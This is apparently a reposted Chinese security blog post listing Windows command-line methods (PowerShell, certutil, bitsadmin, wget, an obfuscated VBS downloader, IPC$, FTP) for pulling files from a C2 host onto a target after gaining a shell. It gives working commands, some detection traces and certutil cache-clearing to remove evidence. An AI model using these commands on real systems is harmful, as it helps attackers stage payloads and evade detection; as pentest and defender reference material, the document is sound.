在渗透或者攻防场景下,当获取到一个shell能够执行命令时,下一步我们可能需要将文件下载到目标,通过一些命令行中的下载命令如BITSAdmin、Certutil、Powershell等,可实现这一动作,以便巩固取得的权限。
本文主要列举几种Windows系统常见的通过命令行下载文件落地的方法。
本地测试环境:
Windows server 2016(测试服务器)+Windows 10(对端C2)
核心思想为使用要求不能过高, 最好是windows原生就有的, 或是使用非常方便的方法。
0x01 PowerShell
简介:
PowerShell是一种命令行外壳程序和脚本环境,可通过命令行和脚本编写语句进行文件下载。
文件路径:
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
使用方法:
powershell (new-object System.Net.WebClient).DownloadFile('下载地址','保存地址')
例:下载在某个路径(注意:需要管理员权限,且命令执行成功无回显)
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.221.141:8080/test.txt','C:powershell.txt')
痕迹排查:
查看Powershell日志中,会记录了完整的执行内容。
2、Certutil
简介:
Certutil是Windows自带的证书管理工具,具有下载文件,校验文件MD5、SHA1、SHA256,文件base64编码等功能。
文件路径:
C:WindowsSystem32Certutil.exe
缓存目录为:
"%USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent"
使用方法:
下载文件: certutil -urlcache -split -f '下载地址' '保存地址'
删除缓存: certutil -urlcache -split -f '下载地址' delete
例:下载文件
certutil -urlcache -split -f http://192.168.221.131:8080/test.txt certutil.exe
痕迹排查:
使用certutil下载文件会产生缓存文件,用如下命令查看:
certutil -urlcache *
由于certutil下载文件都会留下缓存,通过如下命令对缓存进行删除。
certutil -urlcache -split -f http://192.168.221.131:8080/test.txt delete
3、wget
简介:
Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件(注意:非原生,需要下载)。
wget.exe下载:https://eternallybored.org/misc/wget/
使用方法:
wget -O "wget.txt" http://192.168.221.131:8080/test.txt
4、bitsadmin
简介:
BITSAdmin 是一个命令行工具,可用于创建下载或上传作业并监视作业的进度。
文件路径:
C:WindosSystem32Bitsadmin.exe
使用方法:
bitsadmin /transfer n '下载地址' '保存地址'
例:下载在某个地方(需要管理员权限启动)
bitsadmin /transfer n http://192.168.221.149:8080/test.txt C:bitsadmin.txt
或者
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.221.149:8080/test.txt" "c:bitsadmin.txt"
5、VBS
简介:
通过 VBS 脚本进行文件下载,在实战中,没有上传的方便条件,尤其是目标机是 windows,只有 echo 方式来写入 vbs。
文件路径:
C:WindowsSystem32cscript.exe
使用方法:
方法一
1、生成下载脚本
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
2、执行命令下载文件
cscript downfile.vbs http://192.168.221.131:8080/test.txt C:UsersAdministratorDesktoptesttest.txt
方法二
1、保存VBS脚本(downfile2.vbs)
set a = createobject("adod" + "b.stream")
set w = createobject("MSXML2.ServerXMLHTTP")
w.open "get", wsh.arguments(0), 0
w.send
a.type = 1
a.open
a.write w.responsebody
a.savetofile wsh.arguments(1), 2
2、执行命令下载文件
cscript downfile2.vbs http://192.168.221.159:8080/test.txt C:UsersAdministratorDesktoptesttest2.txt
6、IPC$
简介:
IPC$入侵,即通过使用Windows系统中默认启动的IPC$共享,来达到侵略主机,获得计算机控制权的入侵。
使用方法:
# 建立远程IPC连接
net use \'vps-ip'ipc$ /user:'账号' '密码'
# 复制远程文件到本地主机
copy \'vps-ip''盘符'$'下载地址' '保存地址'
例:
下载文件在本机当前路径
net use \192.168.221.159ipc$ /user:administrator ****
copy \192.168.221.159c$Usersunic0rnDesktoptest.txt
下载文件在本机某个目录下
copy \192.168.221.159c$Usersunic0rnDesktoptest.txt C:test.txt
删除IPC$连接
net use \192.168.221.159ipc$ Delect
痕迹排查:
在C2主机上会留下登录类型为3的4624登录成功日志。
7、FTP
简介:
将文件传输到运行文件传输协议的计算机 (ftp) 服务器服务。可以通过处理 ASCII 文本文件以交互方式或在批处理模式下使用此命令。
文件路径:
C:WindosSystem32ftp.exe
使用方法:
open <FTP server IP>
输入用户名
输入密码
get test.txt
quit
痕迹排查:
ftp日志记录保存在C2主机的系统日志文件夹中,会记录上传,下载,登录等关键信息。
日志路径:/var/log/vsftpd.log
如果您觉得内容还不错的话,请关注我吧!
建议把公众号“篝火信安”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。
操作方法:点击公众号页面右上角的【...】,然后点击【设为星标】即可。
原文始发于微信公众号(篝火信安):Windows系统远程下载文件命令总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论